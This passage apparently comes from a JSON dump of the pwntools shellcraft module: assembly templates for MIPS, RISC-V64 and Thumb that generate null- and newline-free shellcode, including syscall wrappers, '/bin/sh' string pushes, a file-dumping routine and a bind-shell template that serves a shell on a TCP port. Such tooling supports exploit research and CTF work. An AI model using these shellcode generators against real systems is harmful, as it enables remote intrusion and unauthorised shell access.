    "content": "<% from pwnlib.shellcraft import mips, pretty %>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n</%docstring>\n<%page args=\"reg, array\"/>\n<%\nif isinstance(array, (str)):\n    array = [array]\n\narray_str = ''\n\n# Normalize all of the arguments' endings\narray      = [arg.rstrip('\\x00') + '\\x00' for arg in array]\narray_str  = ''.join(array)\n\nword_size = 4\noffset = len(array_str) + word_size\n\n%>\\\n    /* push argument array ${pretty(array, False)} */\n    ${mips.pushstr(array_str)}\n    ${mips.mov(reg, 0)}\n    ${mips.push(reg)} /* null terminate */\n% for i,arg in enumerate(reversed(array)):\n    ${mips.mov(reg, offset + word_size*i - len(arg))}\n    add ${reg}, $sp, ${reg}\n    ${mips.push(reg)} /* ${pretty(arg, False)} */\n    <% offset -= len(arg) %>\\\n% endfor\n    ${mips.mov(reg,'$sp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/setregs.asm",
    "content": "<%\n  from pwnlib.regsort import regsort\n  from pwnlib.constants import Constant, eval\n  from pwnlib.shellcraft import registers\n  from pwnlib.shellcraft.mips import mov\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'$t0':1, '$a3':'0'}).rstrip())\n        slti $a3, $zero, 0xFFFF /* $a3 = 0 */\n        li $t9, ~1\n        not $t0, $t9\n    >>> print(shellcraft.setregs({'$a0':'$a1', '$a1':'$a0', '$a2':'$a1'}).rstrip())\n        sw $a1, -4($sp) /* mov $a2, $a1 */\n        lw $a2, -4($sp)\n        xor $a1, $a1, $a0 /* xchg $a1, $a0 */\n        xor $a0, $a1, $a0\n        xor $a1, $a1, $a0\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\nsorted_regs = regsort(reg_context, registers.mips)\n%>\n% if not sorted_regs:\n  /* setregs noop */\n% else:\n% for how, src, dst in regsort(reg_context, registers.mips):\n% if how == 'xchg':\n    xor ${dst}, ${dst}, ${src} /* xchg ${dst}, ${src} */\n    xor ${src}, ${dst}, ${src}\n    xor ${dst}, ${dst}, ${src}\n% else:\n    ${mov(src, dst)}\n% endif\n% endfor\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/trap.asm",
    "content": "<%docstring>A trap instruction.</%docstring>\n    teq $zero, $zero\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/powerpc/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/powerpc/linux/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/__doc__",
    "content": "Shellcraft module containing generic RISCV64 shellcodes.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/linux/__doc__",
    "content": "Shellcraft module containing RISCV64 shellcodes for Linux.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/linux/cat2.asm",
    "content": "<%\n  from pwnlib.shellcraft.riscv64 import open, syscall, mov\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n</%docstring>\n\n    ${open(filename)}\n    ${mov('a2', length)}\n    sub sp, sp, a2\n    ${syscall('SYS_read', 'a0', 'sp', 'a2')}\n    ${syscall('SYS_write', fd, 'sp', 'a0')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/linux/open.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, flags=0, mode='a3'\"/>\n<%docstring>\nOpens a file\n</%docstring>\n<%\n  AT_FDCWD=-100\n%>\n    ${shellcraft.pushstr(filename)}\n    ${shellcraft.syscall('SYS_openat', AT_FDCWD, 'sp', flags, mode)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import riscv64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_riscv64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4=None, arg5=None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.riscv64.linux.syscall('SYS_execve', 1, 'sp', 2, 0).rstrip())\n            /* call execve(1, 'sp', 2, 0) */\n            sltiu a0, zero, 0x7ff | 1\n            sra a1, sp, zero\n            xori a2, zero, 0x7ff ^ 2\n            xori a2, a2, 0x7ff\n            xor a3, t6, t6\n            xori a7, zero, 0x7ff ^ SYS_execve /* 0xdd */\n            xori a7, a7, 0x7ff\n            ecall\n        >>> print(pwnlib.shellcraft.riscv64.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip())\n            /* call execve(2, 1, 0, 0x14) */\n            xori a0, zero, 0x7ff ^ 2\n            xori a0, a0, 0x7ff\n            sltiu a1, zero, 0x7ff | 1\n            xor a2, t6, t6\n            xori a3, zero, 0x7ff ^ 0x14\n            xori a3, a3, 0x7ff\n            xori a7, zero, 0x7ff ^ SYS_execve /* 0xdd */\n            xori a7, a7, 0x7ff\n            ecall\n        >>> print(pwnlib.shellcraft.riscv64.linux.syscall().rstrip())\n            /* call syscall() */\n            ecall\n        >>> print(pwnlib.shellcraft.riscv64.linux.syscall('a7', 'a0', 'a1').rstrip())\n            /* call syscall('a7', 'a0', 'a1') */\n            /* setregs noop */\n            ecall\n        >>> print(pwnlib.shellcraft.riscv64.linux.syscall('a3', None, None, 1).rstrip())\n            /* call syscall('a3', ?, ?, 1) */\n            sltiu a2, zero, 0x7ff | 1\n            sra a7, a3, zero\n            ecall\n        >>> print(pwnlib.shellcraft.riscv64.linux.syscall(\n        ...               'SYS_mmap', 0, 0x1000,\n        ...               'PROT_READ | PROT_WRITE | PROT_EXEC',\n        ...               'MAP_PRIVATE',\n        ...               -1, 0).rstrip())\n            /* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE', -1, 0) */\n            xor a0, t6, t6\n            li a1, 0x1000\n            xori a2, zero, 0x7ff ^ (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n            xori a2, a2, 0x7ff\n            xori a3, zero, 0x7ff ^ MAP_PRIVATE /* 2 */\n            xori a3, a3, 0x7ff\n            xori a4, zero, -1\n            xor a5, t6, t6\n            xori a7, zero, 0x7ff ^ SYS_mmap /* 0xde */\n            xori a7, a7, 0x7ff\n            ecall\n        >>> print(pwnlib.shellcraft.openat('AT_FDCWD', '/home/pwn/flag').rstrip())\n            /* openat(fd='AT_FDCWD', file='/home/pwn/flag', oflag=0) */\n            /* push b'/home/pwn/flag\\x00' */\n            lui t4, 0xfffff & ((0x77702f65 >> 12) + 1)\n            xori t4, t4, 0x7ff & 0x77702f65\n            addi t4, t4, -0x800\n            lui t6, 0xfffff & ((0x6d6f682f >> 12) + 1)\n            xori t6, t6, 0x7ff & 0x6d6f682f\n            addi t6, t6, -0x800\n            slli t4, t4, 0x20\n            xor t4, t4, t6\n            sd t4, -16(sp)\n            lui t4, 0xfffff & (~0x6761 >> 12)\n            xori t4, t4, ~0x7ff | 0x6761\n            addi t4, t4, -0x800\n            lui t6, 0xfffff & ((0x6c662f6e >> 12) + 1)\n            xori t6, t6, 0x7ff & 0x6c662f6e\n            addi t6, t6, -0x800\n            slli t4, t4, 0x20\n            xor t4, t4, t6\n            sd t4, -8(sp)\n            addi sp, sp, -16\n            sra a1, sp, zero\n            xori a0, zero, AT_FDCWD /* -0x64 */\n            xor a2, t6, t6\n            /* call openat() */\n            xori a7, zero, 0x7ff ^ SYS_openat /* 0x38 */\n            xori a7, a7, 0x7ff\n            ecall\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(a is not None for a in arguments):\n    ${riscv64.setregs(regctx)}\n%endif\n    ecall\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/mov.asm",
    "content": "<%\n  from pwnlib.util import lists, packing, fiddling, misc\n  from pwnlib.constants import eval, Constant\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n  from pwnlib.log import getLogger\n  from pwnlib.shellcraft import riscv64, registers, pretty, okay\n  log = getLogger('pwnlib.shellcraft.riscv64.mov')\n%>\n<%page args=\"dst, src, c=False\"/>\n<%docstring>\nMove src into dst without newlines and null bytes.\n\nRegisters t4 and t6 are not guaranteed to be preserved.\n\nIf src is a string that is not a register, then it will locally set\n`context.arch` to `'riscv64'` and use :func:`pwnlib.constants.eval` to evaluate the\nstring. Note that this means that this shellcode can change behavior depending\non the value of `context.os`.\n\nArgs:\n\n  dst (str): The destination register.\n  src (str): Either the input register, or an immediate value.\n\nExample:\n\n    >>> print(shellcraft.riscv64.mov('t0', 0).rstrip())\n        xor t0, t6, t6\n    >>> print(shellcraft.riscv64.mov('t0', 0x2000, c=True).rstrip())\n        c.lui t0, 0xfffff & (0x2000 >> 12)\n    >>> print(shellcraft.riscv64.mov('t5', 0x601).rstrip())\n        xori t5, zero, 0x601\n    >>> print(shellcraft.riscv64.mov('t5', 0x600).rstrip())\n        xori t5, zero, 0x7ff ^ 0x600\n        xori t5, t5, 0x7ff\n    >>> print(shellcraft.riscv64.mov('t6', 0x181f).rstrip())\n        lui t6, 0xfffff & (~0x181f >> 12)\n        xori t6, t6, ~0x7ff | 0x181f\n    >>> print(shellcraft.riscv64.mov('t5', 0x40b561f).rstrip())\n        lui t5, 0xfffff & (0x40b561f >> 12)\n        xori t5, t5, 0x7ff & 0x40b561f\n    >>> print(shellcraft.riscv64.mov('t0', 0xcafebabe).rstrip())\n        li t0, 0xcafebabe\n    >>> print(shellcraft.riscv64.mov('a0', 't2', c=True).rstrip())\n        c.mv a0, t2\n    >>> print(shellcraft.riscv64.mov('t1', 'sp', c=True).rstrip())\n        sra t1, sp, zero\n\n</%docstring>\n<%\nif not isinstance(dst, str) or dst not in registers.riscv:\n    log.error(\"Unknown register %r\", dst)\n    return\n\nif isinstance(src, str) and src not in registers.riscv:\n    src = eval(src)\n\nif isinstance(src, str) and src not in registers.riscv:\n    log.error(\"Unknown register %r\", src)\n    return\n\nsrc_reg = registers.riscv.get(src, None)\ndst_reg = registers.riscv[dst]\n\n# If source register is zero, treat it as immediate 0\nif src_reg == 0:\n    src = 0\n    src_reg = None\n\nencodes_no_newline = lambda a, not_a: not (a & 0xf == 0 or (a & 0xff0) >> 8 in [0, 10]) and not (((not_a & 0xf000) >> 8 | (dst_reg >> 1) in [0, 10]) or (not_a & 0xff0000) >> 16 in [0, 10] or not_a >> 24 in [0, 10])\n%>\n\n% if dst_reg == 0 or dst_reg == src_reg:\n    /* mv ${dst}, ${src} is a noop */\n\n% elif src_reg is not None:\n## Source is a register\n## Special case where c.mv would produce a newline\n%  if c and not (src_reg == 2 and dst_reg % 2 == 0):\n    c.mv ${dst}, ${src}\n%  elif (src_reg >> 1) not in (0, 10):\n    sra ${dst}, ${src}, zero\n%  else:\n    not ${dst}, ${src}\n    not ${dst}, ${dst}\n%  endif\n% else:\n## Source is an immediate, normalize to [0, 2**64)\n\n<% srcn = src & 0xffffffffffffffff %>\n## Immediates are always sign-extended to 64-bit\n\n## 6-bit immediate for c.li\n% if c and (srcn < 0x20 or srcn >= 0xffffffffffffffe0):\n\n    c.li ${dst}, ${pretty(src)}\n## 6-bit immediate for c.lui\n% elif c and (dst_reg != 2 and srcn & 0xfff == 0 and ((srcn>>12) < 0x20 or (srcn>>12) >= 0xffffffffffffffe0)):\n    c.lui ${dst}, 0xfffff & (${pretty(src)} >> 12)\n## 12-bit immediate\n% elif srcn < 0x800 or srcn >= 0xfffffffffffff800:\n    % if srcn == 0:\n    xor ${dst}, t6, t6\n    % elif srcn == 1:\n    sltiu ${dst}, zero, 0x7ff | ${pretty(src)}\n    % elif src & 0xf == 0 or (src & 0xfff) >> 8 in [0, 10]:\n    xori ${dst}, zero, 0x7ff ^ ${pretty(src)}\n    xori ${dst}, ${dst}, 0x7ff\n    % else:\n    xori ${dst}, zero, ${pretty(src)}\n    % endif\n\n## 32-bit immediate with lui and xori\n% elif (srcn < 0x80000000 or srcn >= 0xffffffff80000000) and srcn & 0x800 == 0 and encodes_no_newline(srcn, srcn):\n    lui ${dst}, 0xfffff & (${pretty(src)} >> 12)\n    xori ${dst}, ${dst}, 0x7ff & ${pretty(src)}\n% elif (srcn < 0x80000000 or srcn >= 0xffffffff80000000) and srcn & 0x800 == 0x800 and encodes_no_newline(srcn, srcn + 0x800):\n    lui ${dst}, 0xfffff & ((${pretty(src)} >> 12) + 1)\n    xori ${dst}, ${dst}, 0x7ff & ${pretty(src)}\n    addi ${dst}, ${dst}, -0x800\n% elif (srcn < 0x80000000 or srcn >= 0xffffffff80000000) and encodes_no_newline(srcn, ~srcn):\n    lui ${dst}, 0xfffff & (~${pretty(src)} >> 12)\n    xori ${dst}, ${dst}, ~0x7ff | ${pretty(src)}\n    % if not srcn & 0x800:\n    addi ${dst}, ${dst}, -0x800\n    % endif\n\n## 64-bit immediate with lui, addi, and slli\n% elif srcn > 0xfffffffff and srcn < 0xffffffff00000000:\n    % if src & 0x80000000:\n    ${riscv64.mov(dst, ~src >> 32)}\n    ${riscv64.mov('t6', src | ~0x7fffffff)}\n    % else:\n    ${riscv64.mov(dst, src >> 32)}\n    ${riscv64.mov('t6', src & 0x7fffffff)}\n    % endif\n    slli ${dst}, ${dst}, 0x20\n    xor ${dst}, ${dst}, t6\n% else:\n## FIXME: Make this null and newline free\n    li ${dst}, ${pretty(src)}\n\n% endif\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/nop.asm",
    "content": "<%docstring>RISCV64 nop instruction.</%docstring>\n    add x31, x0, x31\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/push.asm",
    "content": "<%\n  from pwnlib.shellcraft import riscv64\n  from pwnlib import constants\n  from pwnlib.shellcraft import registers\n%>\n<%page args=\"value\"/>\n<%docstring>\nPushes a value onto the stack.\n\nRegister t4 is not guaranteed to be preserved.\n</%docstring>\n<%\nis_reg = value in registers.riscv\n\nif not is_reg and isinstance(value, (bytes, str)):\n    try:\n        value = constants.eval(value)\n    except (ValueError, AttributeError):\n        pass\n%>\n% if not is_reg:\n    ${riscv64.mov('t4', value)}\n    <% value = 't4' %>\\\n%endif\n    sd ${value}, -8(sp)\n    addi sp, sp, -8\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/pushstr.asm",
    "content": "<%\n    from pwnlib.util import lists, packing, fiddling\n    from pwnlib.shellcraft import riscv64, pretty\n%>\\\n<%page args=\"string, append_null = True\"/>\n<%docstring>\nPushes a string onto the stack without using\nnull bytes or newline characters.\n\nExample:\n\n    >>> print(shellcraft.riscv64.pushstr('').rstrip())\n        /* push b'\\x00' */\n        sw zero, -8(sp)\n        addi sp, sp, -8\n    >>> print(shellcraft.riscv64.pushstr('a').rstrip())\n        /* push b'a\\x00' */\n        xori t4, zero, 0x7ff ^ 0x61\n        xori t4, t4, 0x7ff\n        sd t4, -8(sp)\n        addi sp, sp, -8\n    >>> print(shellcraft.riscv64.pushstr('aa').rstrip())\n        /* push b'aa\\x00' */\n        lui t4, 0xfffff & (~0x6161 >> 12)\n        xori t4, t4, ~0x7ff | 0x6161\n        addi t4, t4, -0x800\n        sd t4, -8(sp)\n        addi sp, sp, -8\n    >>> print(shellcraft.riscv64.pushstr('aaaa').rstrip())\n        /* push b'aaaa\\x00' */\n        lui t4, 0xfffff & (0x61616161 >> 12)\n        xori t4, t4, 0x7ff & 0x61616161\n        sd t4, -8(sp)\n        addi sp, sp, -8\n    >>> print(shellcraft.riscv64.pushstr('aaaaa').rstrip())\n        /* push b'aaaaa\\x00' */\n        xori t4, zero, 0x7ff ^ 0x61\n        xori t4, t4, 0x7ff\n        lui t6, 0xfffff & (0x61616161 >> 12)\n        xori t6, t6, 0x7ff & 0x61616161\n        slli t4, t4, 0x20\n        xor t4, t4, t6\n        sd t4, -8(sp)\n        addi sp, sp, -8\n    >>> print(shellcraft.riscv64.pushstr('aaaa', append_null = False).rstrip())\n        /* push b'aaaa' */\n        lui t4, 0xfffff & (0x61616161 >> 12)\n        xori t4, t4, 0x7ff & 0x61616161\n        sd t4, -8(sp)\n        addi sp, sp, -8\n    >>> print(shellcraft.riscv64.pushstr(b'\\xc3').rstrip())\n        /* push b'\\xc3\\x00' */\n        xori t4, zero, 0x7ff ^ 0xc3\n        xori t4, t4, 0x7ff\n        sd t4, -8(sp)\n        addi sp, sp, -8\n    >>> print(shellcraft.riscv64.pushstr(b'\\xc3', append_null = False).rstrip())\n        /* push b'\\xc3' */\n        xori t4, zero, 0x7ff ^ 0xc3\n        xori t4, t4, 0x7ff\n        sd t4, -8(sp)\n        addi sp, sp, -8\n    >>> print(enhex(asm(shellcraft.riscv64.pushstr(\"/bin/sh\"))))\n    b78e97ff93cefeb2938e0e80b76f696e93cfff22939e0e02b3cefe01233cd1ff130181ff\n    >>> print(enhex(asm(shellcraft.riscv64.pushstr(\"\"))))\n    232c01fe130181ff\n    >>> print(enhex(asm(shellcraft.riscv64.pushstr(\"\\x00\", append_null =  False))))\n    232c01fe130181ff\n\nArgs:\n  string (str): The string to push.\n  append_null (bool): Whether to append a single NULL-byte before pushing.\n</%docstring>\n<%\n    if isinstance(string, str):\n        string = string.encode('utf-8')\n    if append_null:\n        string += b'\\x00'\n    if not string:\n        return\n\n    split_string = lists.group(8, string, 'fill', b'\\x00')\n    stack_offset = len(split_string) * -8\n%>\\\n    /* push ${pretty(string, False)} */\n% for index, word in enumerate(split_string):\n% if word == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00':\n    sw zero, ${stack_offset+(8 * index)}(sp)\n<%\n    continue\n%>\\\n% endif\n<%\n    word = packing.u64(word, sign=True)\n%>\\\n    ${riscv64.mov('t4', word)}\n    sd t4, ${stack_offset+(8 * index)}(sp)\n% endfor\n    addi sp, sp, ${stack_offset}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/pushstr_array.asm",
    "content": "<% from pwnlib.shellcraft import riscv64, pretty %>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n</%docstring>\n<%page args=\"reg, array\"/>\n<%\nif isinstance(array, (str)):\n    array = [array]\n\narray_str = ''\n\n# Normalize all of the arguments' endings\narray      = [arg.rstrip('\\x00') + '\\x00' for arg in array]\narray_str  = ''.join(array)\n\nword_size = 8\noffset = len(array_str) + word_size\n\n%>\\\n    /* push argument array ${pretty(array, False)} */\n    ${riscv64.pushstr(array_str)}\n    ${riscv64.mov(reg, 0)}\n    ${riscv64.push(reg)} /* null terminate */\n% for i,arg in enumerate(reversed(array)):\n    ${riscv64.mov(reg, offset + word_size*i - len(arg))}\n    add ${reg}, sp, ${reg}\n    ${riscv64.push(reg)} /* ${pretty(arg, False)} */\n    <% offset -= len(arg) %>\\\n% endfor\n    ${riscv64.mov(reg,'sp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/setregs.asm",
    "content": "<%\n  from pwnlib.regsort import regsort\n  from pwnlib.constants import Constant, eval\n  from pwnlib.shellcraft import registers\n  from pwnlib.shellcraft import riscv64\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'t0':1, 'a3':'0'}).rstrip())\n        xor a3, t6, t6\n        sltiu t0, zero, 0x7ff | 1\n    >>> print(shellcraft.setregs({'a0':'a1', 'a1':'a0', 'a2':'a1'}).rstrip())\n        sra a2, a1, zero\n        sra t4, a1, zero\n        xor a1, a0, t4 /* xchg a1, a0 */\n        sra t4, a0, zero\n        xor a0, a1, t4\n        sra t4, a1, zero\n        xor a1, a0, t4\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\nsorted_regs = regsort(reg_context, registers.riscv)\n%>\n% if not sorted_regs:\n  /* setregs noop */\n% else:\n% for how, src, dst in sorted_regs:\n% if how == 'xchg':\n    ${riscv64.xor(dst, dst, src)} /* xchg ${dst}, ${src} */\n    ${riscv64.xor(src, src, dst)}\n    ${riscv64.xor(dst, dst, src)}\n% else:\n    ${riscv64.mov(src, dst)}\n% endif\n% endfor\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/trap.asm",
    "content": "<%docstring>A trap instruction.</%docstring>\n    ebreak\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/riscv64/xor.asm",
    "content": "<%\n  from pwnlib.shellcraft import riscv64\n  from pwnlib.shellcraft import registers\n%>\n<%page args=\"dst,rs1,rs2\"/>\n<%docstring>\nXOR two registers rs1 and rs2, store result in register dst.\n\nRegister t4 is not guaranteed to be preserved.\n</%docstring>\n<%\nif not isinstance(dst, str) or dst not in registers.riscv:\n    log.error(\"Unknown register %r\", dst)\n    return\nif not isinstance(rs1, str) or rs1 not in registers.riscv:\n    log.error(\"Unknown register %r\", rs1)\n    return\nif not isinstance(rs2, str) or rs2 not in registers.riscv:\n    log.error(\"Unknown register %r\", rs2)\n    return\n\nrs1_reg = registers.riscv[rs1]\nrs2_reg = registers.riscv[rs2]\n%>\n\n##  always safe\n## c.xor rs1d  rs2\n## 100011dd d01sss01\n\n## xor      rs2  rs1      rd\n## 0000000s ssssSSSS S100ddddd 0110011\n% if rs2_reg & 0x10 and (rs1_reg >> 1 | ((rs2_reg & 0xf) << 4)) not in (0, 10):\n    xor ${dst}, ${rs1}, ${rs2}\n% elif rs1_reg & 0x10 and (rs2_reg >> 1 | ((rs1_reg & 0xf) << 4)) not in (0, 10):\n    xor ${dst}, ${rs2}, ${rs1}\n% else:\n    ${riscv64.mov('t4', rs1)}\n    xor ${dst}, ${rs2}, t4\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/__doc__",
    "content": "Shellcraft module containing generic thumb little endian shellcodes.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/crash.asm",
    "content": "<% from pwnlib.shellcraft.thumb import mov %>\n<%docstring>\nCrash.\n\nExample:\n\n    >>> run_assembly(shellcraft.crash()).poll(True) < 0\n    True\n</%docstring>\n    pop {r0-r12,lr}\n    ldr sp, [sp, 64]\n    pop {pc}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/freebsd/__doc__",
    "content": "Shellcraft module containing THUMB shellcodes for FreeBSD.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/freebsd/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import thumb, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import freebsd_arm_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(shellcraft.thumb.freebsd.syscall(11, 1, 'sp', 2, 0).rstrip())\n            /* call syscall(11, 1, 'sp', 2, 0) */\n            mov r0, #1\n            mov r1, sp\n            mov r2, #2\n            eor r3, r3\n            mov r7, #0xb\n            svc 0x41\n        >>> print(shellcraft.thumb.freebsd.syscall('SYS_exit', 0).rstrip())\n            /* call exit(0) */\n            eor r0, r0\n            mov r7, #SYS_exit /* 1 */\n            svc 0x41\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers  = abi.register_arguments\n  arguments  = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  arguments  = iter(filter(lambda arg: arg is not None, arguments))\n  regctx     = dict(zip(registers, arguments))\n  stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order\n%>\\\n    /* call ${syscall_repr} */\n    ${thumb.setregs(regctx)}\n%for arg in stack_args:\n    ${thumb.push(arg)}\n%endfor\n    svc 0x41\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/infloop.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<%docstring>An infinite loop.</%docstring>\n<% infloop = common.label(\"infloop\") %>\n${infloop}:\n    b ${infloop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/itoa.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.thumb import mov, pushstr, udiv_10, setregs\nfrom pwnlib import constants\n%>\n<%docstring>\nConverts an integer into its string representation, and pushes it\nonto the stack.  Uses registers r0-r5.\n\nArguments:\n    v(str, int):\n        Integer constant or register that contains the value to convert.\n    alloca\n\nExample:\n\n    >>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)\n    >>> sc += shellcraft.thumb.itoa('r0')\n    >>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)\n    >>> run_assembly(sc).recvuntil(b'\\x00')\n    b'3735928559\\x00'\n</%docstring>\n<%page args=\"v, buffer='sp', allocate_stack=True\"/>\n<%\nitoa_loop = common.label('itoa_loop')\nsize_loop = common.label('size_loop')\none_char  = common.label('one_char')\nassert v in registers.thumb\n%>\\\n    /* atoi(${pretty(v,0)}) */\n%if allocate_stack and buffer=='sp':\n    sub sp, sp, 0x10\n%endif\n## REGISTER USAGE\n##\n## r0: Value (also used in udiv_10)\n## r1: Used in udiv_10\n## r2: Used in udiv_10\n## r3: Length of string, current character\n## r4: Buffer pointer\n## r5: Remainder\n    ${setregs({'r0': v,\n               'r3': 0,\n               'r4': buffer})}\n## Save for later\n    push {r0}\n## Calculate how many characters are needed.\n## e.g.    0 -> 1\n##         1 -> 1\n##        23 -> 2\n##      1234 -> 4\n${size_loop}:\n    add r3, r3, 1\n    ${udiv_10('r0')}\n    cmp r0, 1\n    bhs ${size_loop}\n## Calculate the end of the buffer and null-terminate\n## N.B. r0 == 0 here\n    add r3, r4, r3\n    strb r0, [r3, #1]\n## Grab saved \"original value\" off the stack\n    pop {r0}\n${itoa_loop}:\n    ${mov('r5', 'r0')}  /* save before division */\n    ${udiv_10('r0')}\n## Multiply back by 10 to get remainder\n    /* multiply by 10 to get remainder in r5 */\n    ${mov('r1', 10)}\n    umull r1, r2, r0, r1\n    sub r5, r5, r1\n    /* store the byte, decrement, check complete */\n    add r5, r5, ${ord('0')}\n    strb r5, [r3, #-1]!\n    cmp r3, r4\n    bgt ${itoa_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/__doc__",
    "content": "Shellcraft module containing THUMB shellcodes for Linux.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/bindsh.asm",
    "content": "<% from pwnlib.shellcraft.thumb.linux import listen, dupsh%>\n<%page args=\"port, network='ipv4'\"/>\n<%docstring>\n    bindsh(port,network)\n\n    Listens on a TCP port and spawns a shell for the first to connect.\n    Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.\n</%docstring>\n${listen(port, network)}\n${dupsh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/cat.asm",
    "content": "<%\n  from pwnlib import constants\n  from pwnlib.shellcraft import thumb\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG\\n')\n    >>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).recvline()\n    b'FLAG\\n'\n\n</%docstring>\n<%\nlabel = common.label(\"sendfile_loop\")\n%>\n\n    ${thumb.pushstr(filename)}\n    ${thumb.linux.open('sp', constants.O_RDONLY, 'r2')}\n    ${thumb.mov('r5', 'r0')}\n    ${thumb.linux.sendfile(fd, 'r5', 0, 0x7fffffff)}\n"
  },
  {
